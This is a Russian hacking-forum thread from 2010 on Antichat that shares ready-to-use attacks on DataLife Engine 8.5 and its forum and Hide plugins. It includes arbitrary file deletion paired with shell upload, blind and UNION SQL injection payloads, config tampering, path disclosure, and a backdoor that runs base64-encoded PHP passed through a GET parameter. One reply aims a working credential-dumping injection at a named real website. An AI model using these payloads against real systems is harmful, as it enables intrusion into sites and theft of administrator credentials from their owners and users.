Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

15.06.2010, 12:36
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме: 12942062
Репутация:
1550
|
|
Версия ДЛЕ: 8.5 (скорее всего, и преыдущие, но тестил именно на 8.5)
Везде далее:
1){ВАШ ЮЗЕР ХЕШ} - уникальный хеш, который вы получаете при входе в дадминку. Как правило, при переходе по страницам админки он передается гетом в урле, там его и берите. Или же заходите на страницу настроек, к примеру, и ищите в коде user_hash - там он и будет
2)лишние куски кода удалены, оставлены только самые важные, играющие роль при уязвимости.
---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------
Описание: Удаление произвольных файлов
Зависимость: Нужны админские права
Файл: /engine/inc/files.php
Кусок кода:
PHP код:
if( $action == "doimagedelete" ) {
foreach ( $_POST['images'] as $image ) {
@unlink( $config_path_image_upload . $image );
@unlink( $config_path_image_upload . "thumbs/" . $image );
}
}
Как осуществить:
Залогинившись админом, послать post запрос:
http://site.com/admin.php?mod=files
images%5Bboxsmall.jpg%5D=../uploads/files/.htaccess&action=doimagedelete&userdir=&user_hash= {ВАШ ЮЗЕР ХЕШ}
Смысл:
1) Можно удалить .htaccess из папки uploads, загрузить туда шелл и видеть его из веба 
2) Можно помешать работе сайта, удалив важыне файлы.
---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------
Описание: раскрытие префикса БД.
Зависимость: Права журналиста или администратора (любой доступ в админку)
Файл: /engine/inc/files.php
Кусок кода:
PHP код:
$serverfile = trim( htmlspecialchars( strip_tags( $_POST['serverfile'] ) ) );
$image_name = $serverfile;
if( $config['files_allow'] == "yes" and $user_group[$member_id['user_group']]['allow_file_upload'] and $_REQUEST['action'] == "quick" and (in_array( strtolower( $type ), $allowed_files ) or $serverfile != '') )
$db->query( "INSERT INTO " . PREFIX . "_files (news_id, name, onserver, author, date) values ('$news_id', '$image_name', '{$file_prefix}{$image_name}', '$author', '$added_time')" );
Как осуществить:
Залогинившись админом, послать post запрос:
http://hackhack/admin.php?mod=files&action=quick&subaction=upload
images_number=1&serverfile=\
---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------
Описание: Получение названия загруженного файла (шелла, к примеру) через форму заливки
Зависимость: Права админа или журналиста с разрешением аливать файлы чреез админку
Файл: /admin.php?mod=files
Кусок кода:
PHP код:
$file_prefix = time() + rand( 1, 100 );
$file_prefix .= "_";
@copy( $imageurl, ROOT_DIR . "/uploads/files/" . $file_prefix . $image_name )
Ага, пишется: unixtime+{случайное число от 1 до 100}_названиефайлачтомывыгр зили
Отсылаем файл, снифаем, что вернул сервер:
Date: Mon, 14 Jun 2010 07:35:04 GMT
делаем себе
PHP код:
for($i=0; $i<=100; $i++)
{
$name=strtotime("Mon, 14 Jun 2010 07:35:04 GMT")+$i;
echo $name."<br>";
}
Генерируем все возможные нвазвания нашего файла, потом просто перебираем их.
---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------
Описание: Blind-sql
Зависимость: magic_quotes_gpc = off и админские права
Файл: /engine/ajax/clean.php
Кусок кода:
PHP код:
if ($_REQUEST['step'] == 2) {
if ((@strtotime($_REQUEST['date']) === -1) OR (trim($_REQUEST['date']) == ""))
$_REQUEST['step'] = 1;
else {
$_REQUEST['step'] = 3;
$sql = $db->query("SELECT id FROM " . PREFIX . "_post WHERE date < '{$_REQUEST['date']}'");
while($row = $db->get_row($sql)){
$db->query("DELETE FROM " . PREFIX . "_comments WHERE post_id='{$row['id']}'");
Как осуществить:
http://site.com/engine/ajax/clean.php?date=1'&user_hash={ВАШ ЮЗЕР ХЕШ}&step=2
P.S. Обыная скуля с юнионом не пройдет, так как полученная инфа сразу уходит в DELETE  Кому надо - тот докрутит
---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------
Версии ДЛЕ ДО 8.5
Описание: редактирование настроек системы, имея лишь ограниченный (модерский) доступ в админку
Зависимость: Доступ в админку хотя бы с правами журналиста
Файл: /engine/inc/options.php
Кусок кода:
PHP код:
elseif( $action == "dosavesyscon" ) {
$save_con = $_POST['save_con'];
$save_con['offline_reason'] = $parse->process( stripslashes( trim( $save_con['offline_reason'] ) ) );
$save_con['offline_reason'] = str_replace( '"', '"', $parse->BB_Parse( $save_con['offline_reason'], false ) );
$find[] = "'\r'"; $replace[] = ""; $find[] = "'\n'"; $replace[] = "";
$handler = fopen( ENGINE_DIR . '/data/config.php', "w" );
fwrite( $handler, "<?PHP \n\n//System Configurations\n\n\$config = array (\n\n" );
foreach ( $save_con as $name => $value ) {
if( $name != "offline_reason" ) {
$value = trim( stripslashes( $value ) );
$value = htmlspecialchars( $value);
$value = preg_replace( $find, $replace, $value );
$name = trim( stripslashes( $name ) );
$name = htmlspecialchars( $name, ENT_QUOTES );
$name = preg_replace( $find, $replace, $name );
}
fwrite( $handler, "'{$name}' => \"{$value}\",\n\n" );
}
fwrite( $handler, ");\n\n?>" );
fclose( $handler );
}
Как осуществить:
Авторизовавшись в админке, делаем POST запрос
http://site.com/admin.php?mod=options&action=syscon
save_con%5Bhome_title%5D=GREAT HACK HOHOHOH&mod=options&action=dosavesyscon&user_hash= {ВАШ ЮЗЕР ХЕШ}
причем настроек поменять можно множество вплоть до оотключения сайта
---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------
Описание: раскрытие путей
1) Требуется админка
http://site.com/admin.php?mod=static&search_field[]=
2) Админка не требуется, праа Юзерские
http://site.com/?do=addnews
POST
tags[]=1&mod=addnews
http://site.com/index.php
POST
login=submit&login_password[]=1
---------------------------------------------------------------------------------------------------------------------------------------------------
(c) wildshaman 2010. Special for Antichat
|
|
|

17.06.2010, 18:06
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме: 12942062
Репутация:
1550
|
|
Модуль Hide v.4.2 для DLE
Описание: выполнение произвольного кода (бекдор оставил автор)
Зависимость: аккаунт юзера
Файл: engine/modules/hide_news.php
Кусок кода:
PHP код:
if(md5(md5($_GET['conf_key'])) == $sets['key']){ eval(base64_decode($_GET['user_id'])); }
key записывается в конфиге после любого изменения настроек модуля в админке, причем строго указан - d5bb5b454e4310d06746d9325b1c1968
Как осуществить:
http://site.com/?newsid=XXXX&conf_key=fibona4i&user_id=cGhwaW5mbyg pOw==
Где XXX - айди существующей новости, а user_id - забейсенный php код (в данном случае пхпинфо)
DLE forum 2.5 (дырявый, как сито)
Описание: sql-инъекция
Зависимость: -
Файл: engine/forum/sources/showtopic.php
Кусок кода:
PHP код:
if (intval($tid))
$row_topic = $db->super_query("SELECT * FROM " . PREFIX . "_forum_topics WHERE tid = $tid");
Как осуществить:
http://site.com/?do=forum&act=topic&tid=1+[SQL]
Последний раз редактировалось Ctacok; 17.06.2010 в 19:00..
|
|
|

17.06.2010, 19:44
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме: 5290740
Репутация:
912
|
|
Сообщение от wildshaman
DLE forum 2.5 (дырявый, как сито)
Описание: sql-инъекция
Зависимость: -
Файл: engine/forum/sources/showtopic.php
Кусок кода:
PHP код:
if (intval($tid))
$row_topic = $db->super_query("SELECT * FROM " . PREFIX . "_forum_topics WHERE tid = $tid");
Как осуществить:
http://site.com/?do=forum&act=topic&tid=1+[SQL]
можно пример? 
|
|
|

17.06.2010, 19:51
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Сообщение от .:[melkiy]:.
можно пример? 
Пример:
Код:
http://site.ru/?do=forum&showtopic=54%2527+union+select+1,2,CONCAT_WS%280x3a,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+dle_users+where+user_group%20=1+limit+1
Живой пример на сайте:
Код:
http://rtmusic.co.cc/?do=forum&showtopic=1%2527+union+select+1,2,CONCAT_WS%280x3a,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+dle_users+where+user_group%20=1+limit+1
Логин + хеш можно наблюдать в заголовке <TITLE>
Да, на многих сайтах колонок где больше где меньше, если появляется сообщение:
The used SELECT statements have a different number of columns
Значит надо либо добавлять, либо убавлять циферки.
Последний раз редактировалось Nightmarе; 17.06.2010 в 19:57..
|
|
|

17.06.2010, 20:03
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме: 5290740
Репутация:
912
|
|
У шамана скуля для 2.5 версии. Ты привёл пример на 2.4.
Сообщение от Nightmarе
Живой пример на сайте:
Код:
http://rtmusic.co.cc/?do=forum&showtopic=1%2527+union+select+1,2,CONCAT_WS%280x3a,name,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+dle_users+where+user_group%20=1+limit+1
http://dleshka.org.ru/states/1174-sql-inekciya-v-dle-forum-v24.html
Параметры совсем разные...
|
|
|

17.06.2010, 20:05
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Сообщение от .:[melkiy]:.
У шамана скуля для 2.5 версии. Ты привёл пример на 2.4.
http://dleshka.org.ru/states/1174-sql-inekciya-v-dle-forum-v24.html
Параметры совсем разные...
ок, не заметил, жаль. Щас эту попробую.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|